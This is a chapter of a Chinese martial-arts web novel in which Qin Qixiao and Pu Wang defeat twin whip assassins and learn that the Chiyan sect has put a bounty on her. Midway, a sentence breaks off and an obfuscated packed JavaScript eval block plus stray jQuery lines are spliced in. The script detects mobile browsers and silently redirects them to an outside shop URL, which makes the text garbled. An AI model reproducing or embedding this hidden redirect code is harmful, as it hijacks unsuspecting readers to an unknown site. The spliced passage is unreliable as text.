蒲望朝她看了眼,不动声色地用沾了茶水的手指在桌面比划了几下。
秦七潇扫了一眼桌面,微微点头,一口将碗里的茶水喝完,便站起身,朝着马车方向走去。
二人恍若无事一般继续赶路。
刚驶出茶摊不过百步。
只闻一道利器破空之声从眼前炸起,秦七潇早有防备,立时抽出腰间软剑,她一手握住剑柄,一手夹住剑尾,将剑刃抵在自己面前,把那挥过来的鞭子“哐当”一声击退。
“来者何人!”她脚尖一跃站在马上,手持长剑剑尖指地。
两道黑色的人影从空中交叉闪过,随后落在她面前。
来人是两个男子,样貌一模一样,手中握着布满倒刺的铁鞭。
“哼,要你命的人。”其中一人说道。
“大哥,废话那么多做什么,直接上!”
语罢,这二人齐齐挥鞭向着秦七潇冲过来。
秦七潇自马上一跃而起,锋利的剑气横扫而出,这二人一时都露出惊异之色,被这猛烈的剑势逼退三步,脚跟在泥地上犁出两道深痕,继而再次挥动鞭子,从左右两侧夹击而来。
就在这个时候,两侧竹林忽然冒出许多手持刀剑的人,一头扎进战局。
蒲望蹙眉站在马车旁,目光担忧。
这些人招招凶狠,都是冲着秦七潇的命去的,不过武功平平,没几招就被他打跑了大半。
只有那对双胞胎,趁着这些杂兵缠住他的间隙,不停地变换方位,一鞭接一鞭地抽向他的下盘和后背,让他防不胜防。
单论武功,这对双胞胎远不是他的对手。奈何杂兵太多,他既要分神解决旁人,又要抵挡双胞胎的夹击,渐渐便有些吃力。再这么耗下去,体力迟早被拖垮。
此二人虽配合无间,但每次换位时,左边的那个总是先出鞭,右边的那个紧随其后,节奏完全由左边掌控。
“阿潇,左边攻他右腕,右边攻他左膝。右边那个跟不上,先断他一鞭。”
秦七潇耳根一动,立时变换了攻击剑势,扬手一剑挑向左首那人右腕,同时一脚踹向右首那人左膝,又听那厢传来沉稳声音:“继续攻他左路,别给他换气的间隙。”
她剑势连绵,趁右首那人身形迟滞的瞬间,一剑劈断了他手中铁鞭。
双胞胎被破了联手之势,齐齐吐出一口血,对视一眼之后,便捂着胸口仓皇逃窜。
剩余杂兵见这二人跑了,也立马作鸟兽散。
“阿潇,抓住其中一个!”
秦七潇眼疾手快,捡起地上的石子便朝跑得最慢的那人膝窝弹去,那人应声倒地,顿时便像一条宽面一样滑溜地倒在了地上。
她喘着粗气,双手微微发麻,甫一收剑,连膝盖都有些发软,就在她差点跌坐在地时,后背落入一个温暖有力的怀抱。
蒲望将她稳稳接住,直接抱起快走两步来到马车旁将她放下,又从车里拿出水壶递给她。
“累、累死我。”秦七潇仰头灌了几大口水,深秋寒冷,她却出了一身热汗,连额前的碎发都湿透了。
“这都是什么人啊,我招谁惹谁啊。”她喘着气抱怨。
蒲望安抚地拍了拍她的后脑,“如果我没猜错,方才耍鞭子的那二人,是人称断魂双煞的杀手,在江湖上算是叫得出名号的人物。”
秦七潇抬起头,诧异道:“你认识?”
“不认识,但听过。”
他执掌江山,除了朝堂之事外,对江湖势力自然也有所了解,当然也知晓这些成名的杀手。这些人的武功路数,招式弱点,都一一被金鳞卫记录在案。
“此二人练的是合击之术,是一种需要极高默契的武功,两个人合力远胜单打独斗,不过缺点是只要破了一人,另一人便不攻自破。”
“这你都知道。”
秦七潇眨着眼睛,关于他说的这些,她可真是一点都不知道,果然是她见识太少了。怪不得刚才他可以一眼看穿对方的破绽,让她三两招就破了双胞胎的鞭法。
“只是走南闯北多了,听过些江湖事罢了。”蒲望看了她一眼,目光从她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805621|210705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
汗湿的鬓角扫到微微发颤的指尖,“你可有受伤?”
“我没事,就是他们人太多了,搞得我累死了。”她摆了摆手,站起身时拍了拍衣摆上的灰,向躺在地上的人走过去。
见他还昏着,她蹲下来拍了拍那人的脸。
“喂、喂……”
那人迷迷糊糊地醒转,瞧见面前这张清俊的脸,顿时吓得魂飞魄散。
秦七潇一把攥住他的衣领,厉声道:“说,是谁派你们来杀我的?”
“我、我……”那人哆哆嗦嗦,半天说不出一句整话,蒲望缓步过来立在他身前,眸色冰冷:“再不说,我就杀了你。”
他语气平淡,可那杀意却像腊月寒风,直渗进人的骨头缝里。
“我说我说,别杀我别杀我!”那人涕泪横流,“是赤焰教,他们发布了江湖追杀令,说谁要是能拿了你的项上人头,就能领黄金千两,我们这些人都是冲着赏金来的。”
又是赤焰教,秦七潇咬了咬牙。
“现在这追杀令是什么情况?”
“差不多整个江湖都传遍了,只要是你出现的地方,都会有杀手闻风而来。”
蒲望眸色一沉,“看来这赤焰教,是铁了心要置你于死地。”
“爷、爷、我再也不敢了,求你们放我一条生路,我再也不敢了。”那人跪在地上求饶。
秦七潇本来也没打算将他怎么地,摆了摆手,让他走了。
“现在可怎么办?”
她一脸忧愁地靠在树干上,缓缓滑坐在地。
要光是她一个人倒也无所谓,但她还要送楚翊去三台洲,现在这样走到哪儿都有杀手追着,只怕会连累他跟着自己一起遭殃。
她从怀里拿出自己的荷包,整个朝他递过去。
“楚兄,要不然你还是拿着这些银子自己走吧,免得被我牵连。”
蒲望居高临下地看着她,暖阳洒在他的后背,在他雍容的眉眼拢下一片阴影,遮住了隐隐浮现的杀机。
“我有一计,可一举铲除赤焰教。”